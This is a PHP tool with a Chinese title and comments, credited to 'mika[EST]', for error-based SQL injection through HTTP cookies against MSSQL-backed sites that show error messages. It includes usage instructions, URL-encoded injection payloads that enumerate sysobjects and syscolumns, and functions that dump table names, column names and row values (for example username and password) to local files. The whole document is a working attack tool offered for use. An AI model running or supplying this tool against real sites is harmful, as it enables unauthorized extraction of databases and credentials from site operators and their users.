MSSQL错误提示开启下的 COOKIE注入辅助工具[php版]

<?php
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
//cookie注入辅助工具 by mika[EST]
//只针对mssql数据库，且错误提示开启。
//用法非常简单：
//首先将你实际的$cookie变量的值替换到全局变量$cookie中。并将可注入的字段后面加上MIKA这
//个关键字，如下例所示，不要有空格。
//比如下面这个cookie：
//"my web=myset=template; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL"
//其中myset这个字段没有过滤好，存在注入漏洞，那么你就需要在template后面加上MIKA这个关键字
//因此$cookie全局变量就成了如下这个样子：
//$cookie="my web=myset=templateMIKA; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL";
//实际的referer值替换到全局变量$referer中。
//存在注入的url地址替换到全局变量$url中。
//另外，全局变量$bstr的值决定了注入模式，0代表数字型，1代表字符型，根据实际情况修改
//全局变量$proxy决定了是否使用代理，如果使用的话，则修改$proxy_host和$proxy_port为相应
//的代理地址和端口即可。
//by mika[EST]
///////////////////////////////////////////////////////////////////////////////////////

error_reporting(7);
ini_set("max_execution_time",0);
print_r('
---------------------------Code By MIKA[EST]------------------------------------

使用方法：
    php injcookie.php <-t> [表名] [-f [字段名]]

注意：如果要猜测多个字段的值请用逗号隔开
比如：
  暴取所有数据表：php injcookie.php -t

  暴取某个表的字段：php injcookie.php -t admin -f

  暴取表的内容：php injcookie.php -t admin -f username,password

');
global $curl,$referer,$cookie,$url;
$cookie="my web=myset=templateMIKA; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL";
$referer="http://www.testforme.net/hello.asp?sid=cifs1314";
$url="http://www.testforme.net/hello.asp?sid=cifs1314";

$tab_exp="%20and%201=(select%20top%201%20nchar(124)%2bname%2bnchar(124)%20from%20sysobjects%20where%20xtype=nchar(85)%20and%20name%20not%20in(MFM_TABLES))--";
$field_exp="%20and%20(select%20top%201%20nchar(124)%2Bcol_name(object_id(TABLE_NAME),MFM_NUM)%2Bnchar(124)%20from%20sysobjects)%3E0--";
$value_exp="%20and%20(select%20top%201%20nchar(124)%2Bcast(MFM_FIELD_NAME%20as%20varchar(8000))%2Bnchar(124)%20from%20MFM_TABLE_NAME%20where%20MFM_FIELD_NAME%20not%20in(MFM_VALUE))%3E0--";
$count_exp="%20and%20(select%20nchar(124)%2Bcast(%20count(*)%20as%20varchar(255))%2bnchar(124)%20from%20MFM_TABLE_NAME)%3E0--";
$count_table="%20and%201=(select%20top%201%20nchar(124)%2bcast(count(*)%20as%20varchar(8000))%2bnchar(124)%20from%20sysobjects%20where%20xtype=nchar(85))--";
$count_column="%20and%201=(select%20nchar(124)%2Bcast(count(*)%20as%20varchar(8000))%2Bnchar(124)%20from%20syscolumns%20where%20id=object_id(MFM_TABLE_NAME))--";
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
$bstr=1;//注入模式：0=数字型,1=字符型
$proxy=0;//代理模式：0=无代理,1=有代理
if($proxy)
{
  $proxy_host="127.0.0.1";
  $proxy_port="5687";
}
switch($argc){
case 2:
  if($argv[1]!="-t")
  die("unexpected argument \"$argv[1]\"!\n");
  exploit_tab();
  break;
case 4:
  if($argv[1]!="-t")
  die("unexpected argument \"$argv[1]\"!\n");
  if($argv[3]!="-f")
  die("unexpected argument \"$argv[3]\"!\n");
  $table_name=$argv[2];
  exploit_field();
  break;
case 5:
  if($argv[1]!="-t")
  die("unexpected argument \"$argv[1]\"!\n");
  if($argv[3]!="-f")
  die("unexpected argument \"$argv[3]\"!\n");
  $table_name=$argv[2];
  $field_name=$argv[4];
  explode_value();
  break;
}

///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
//暴取字段值函数
function explode_value()
{
global $bstr,$table_name,$field_name,$cookie,$count_exp,$curl;
$i=1;
$count=0;
$fields=explode(",",$field_name);
$sql_str=" And (Select Top 1 nchar(124)";
$sub_str='+isNull(cast([MIKA_FIELD] as varchar(8000)),char(32))';
foreach($fields as $field){
$new_sub_str=str_replace('MIKA_FIELD',$field,$sub_str);
$sql_str.=$new_sub_str."+char(92)";
}
$sql_str=substr($sql_str,0,strlen($sql_str)-9);
$sql_str.="+nchar(124) from (Select Top MIKA_NUM $field_name From [MIKA_TABLE] Where 1=1 Order by $field_name) T Order by ";
$sub_str="MIKA_FIELD desc";
foreach($fields as $field){
$sub_strs[]=str_replace('MIKA_FIELD',$field,$sub_str);
}
$sql_str.=implode(",",$sub_strs).")>0--";
//echo $sql_str."\n";
$sql_str=str_replace('MIKA_TABLE',$table_name,$sql_str);

$old=str_replace('MFM_TABLE_NAME',$table_name,$count_exp);
init_session();
if($bstr)
$new_cookie=str_replace('MIKA','%27'.$old,$cookie);
else
$new_cookie=str_replace('MIKA',$old,$cookie);

$re=find_value($new_cookie);
$record_file=fopen("records-$field_name.txt","w");
if($re)
{
$count=$re;
echo "the number of record in $table_name is: $count\n";
fputs($record_file,"the number of record in $table_name is: $count\r\n");
}

foreach ($fields as $field){
  $tmp=sprintf("%-32s",$field);
  $str.=$tmp;
//echo $field;
//echo "\t";
}
echo $str;
echo "\r\n-----------------------------------------------------------------------------\r\n";
fputs($record_file,"$str");
fputs($record_file,"\r\n-----------------------------------------------------------------------------\r\n");
do{

$new_sql_str=str_replace('MIKA_NUM',$i,$sql_str);
//echo $sql_str."\n";
if($bstr)
$new_cookie=str_replace('MIKA','%27'.urlencode($new_sql_str),$cookie);
else
$new_cookie=str_replace('MIKA',urlencode($new_sql_str),$cookie);
$re=find_value($new_cookie);
if($re)
{
  $res=explode("\\",$re);
  $str="";
  foreach($res as $ree){
  $tmp=sprintf("%-32s",$ree);
  $str.=$tmp;
  //echo $ree;
  //echo "\t";
  }
  echo $str;
  echo "\n";
  fputs($record_file,"$str\r\n");
}
$i++;
}while($i<=$count);
fclose($record_file);
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//另一种方式暴取表名的函数
function explode_tab(){
global $bstr,$curl,$cookie;
$num=1;
$old_re="";
$re="";
$words=" And (Select Top 1 nchar(124)+cast(name as varchar(8000))+nchar(124) from(Select Top MIKA_NUM id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0--";
init_session();

do{
$new_words=str_replace('MIKA_NUM',$num,$words);
if($bstr)
$new_cookie=str_replace('MIKA',"%27".urlencode($new_words),$cookie);
else
$new_cookie=str_replace('MIKA',urlencode($new_words),$cookie);
$re=find_value($new_cookie);
$table_file=fopen("table_names.txt","a");
if($re!=$old_re)
  {
echo "|------------+".$re."\n";
fputs($table_file,"|------------+".$re."\r\n");
  }
else
break;
$old_re=$re;
$num++;
}while($re);
fclose($table_file);
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//初始化会话函数
function init_session(){
global $proxy,$curl,$referer,$url,$proxy_host,$proxy_port;
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_REFERER,$referer);
curl_setopt($curl,CURLOPT_URL,$url);
if($proxy)
curl_setopt($curl,CURLOPT_PROXY,"$proxy_host:$proxy_port");
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//通用取值函数
function find_value($cookie){
global $curl;
//echo $cookie."\n";
curl_setopt($curl,CURLOPT_COOKIE,$cookie);
$content=curl_exec($curl);

//echo $content;
$re=preg_match("/(\|.+\|)/i",$content,$result);
if($re)
{
return str_replace('|','',$result[1]);
}
return 0;
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//字符串转换为msssql的16进制数值

function str2sqlhex($str){
$temp="0x";
for($i=0;$i<strlen($str);$i++){
//echo $str[$i]."\n";
$temp.=dechex(ord($str[$i]))."00";
}
//echo $temp."\n";
return $temp;
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//暴取表名函数

function exploit_tab(){
global $bstr,$cookie,$tab_exp,$count_table,$curl;
$table=Null;
$temp=Null;
init_session();
if($bstr)
$new_cookie=str_replace('MIKA','%27'.$count_table,$cookie);
else
$new_cookie=str_replace('MIKA',$count_table,$cookie);

$table_file=fopen("table_names.txt","w");

if($re=find_value($new_cookie)){
echo "[+]Number of tables:$re\n";
fputs($table_file,"[+]Number of tables:$re\r\n\r\n");
}
else{
fputs($table_file,"TABLES:\r\n\r\n");}
/*do{
if($table==Null){
$new_url=str_replace('MFM_TABLES',"''",$tab_exp);
}
else{
$new_url=str_replace('MFM_TABLES',$temp,$tab_exp);
}
if($bstr)
$new_cookie=str_replace('MIKA','%27'.$new_url,$cookie);
else
$new_cookie=str_replace('MIKA',$new_url,$cookie);

$re=find_value($new_cookie);
if($re)
{
$table=$re;
if($temp==Null){
//$temp="'".$table."'";
$temp=str2sqlhex($table);
}else{
//$temp.=","."'".$table."'";
$temp.=",".str2sqlhex($table);
}
fputs($table_file,"|------------+".$table."\n");
echo "|------------+".$table."\n";
}
}while($re);*/
fclose($table_file);
explode_tab();

}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//暴取字段函数
function exploit_field(){
global $bstr,$table_name,$cookie,$field_exp,$count_column,$curl;
$old_url=str_replace('TABLE_NAME',str2sqlhex($table_name),$field_exp);
$count_column=str_replace('MFM_TABLE_NAME',str2sqlhex($table_name),$count_column);
$num=1;

init_session();
if($bstr)
$new_cookie=str_replace('MIKA','%27'.$count_column,$cookie);
else
$new_cookie=str_replace('MIKA',$count_column,$cookie);

$field_file=fopen("$table_name-fields.txt","w");
if($re=find_value($new_cookie)){
echo "[+]Numbers of columns in $table_name:$re\n";
fputs($field_file,"[+]Numbers of columns in $table_name:$re\r\n\r\n");
}else{
fputs($field_file,$table_name."\r\n\r\n");
}

do{
$temp=$old_url;
$new_url=str_replace('MFM_NUM',"$num",$temp);
if($bstr)
$new_cookie=str_replace('MIKA','%27'.$new_url,$cookie);
else
$new_cookie=str_replace('MIKA',$new_url,$cookie);
//echo $new_url."\n";
$re=find_value($new_cookie);
if($re){
fputs($field_file,"|------------+".$re."\r\n\r\n");
echo "|------------+".$re."\n";
}
$num++;
}while($re);
fclose($field_file);
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//老方式暴取字段值的函数
function exploit_value(){
global $bstr,$table_name,$field_name,$cookie,$value_exp,$count_exp,$curl;
$value=Null;
$temp=Null;
$count_num=1;
$old=str_replace('MFM_TABLE_NAME',$table_name,$count_exp);
init_session();
if($bstr)
$new_cookie=str_replace('MIKA','%27'.$old,$cookie);
else
$new_cookie=str_replace('MIKA',$old,$cookie);

$re=find_value($new_cookie);
$record_file=fopen("records-$field_name.txt","w");
if($re)
{
$count=$re;
echo "the number of record in $table_name is: $count\n";
fputs($record_file,"the number of record in $table_name is: $count\n");
}

$old=str_replace('MFM_FIELD_NAME',$field_name,$value_exp);
$old=str_replace('MFM_TABLE_NAME',$table_name,$old);
//echo $old."\n";
do{
if($value==Null){
$new_url=str_replace('MFM_VALUE',"''",$old);
}
else{
$new_url=str_replace('MFM_VALUE',$temp,$old);
}
if($bstr)
$new_cookie=str_replace('MIKA','%27'.$new_url,$cookie);
else
$new_cookie=str_replace('MIKA',$new_url,$cookie);

$re=find_value($new_cookie);
if($re)
{
$value=$re;
echo "|------------+ ".$value."\n";
fputs($record_file,"|------------+ ".$value."\n");
if($temp==Null){
//$temp="'".urlencode($value)."'";
//$temp=urlencode("'".urlencode($value)."'");
$temp=str2sqlhex($value);
//echo $temp."\n";
}else{
//$temp.=","."'".urlencode($value)."'";
//$temp.=",".urlencode("'".urlencode($value)."'");
$temp.=",".str2sqlhex($value);
}
}else{echo "|------------+ None\n";
fputs($record_file,"|------------+ None\n");}
$count_num++;
}while($count_num<=$count);
fclose($record_file);
}
///////////////////////////////////////////////////////////////////////////////////////
?>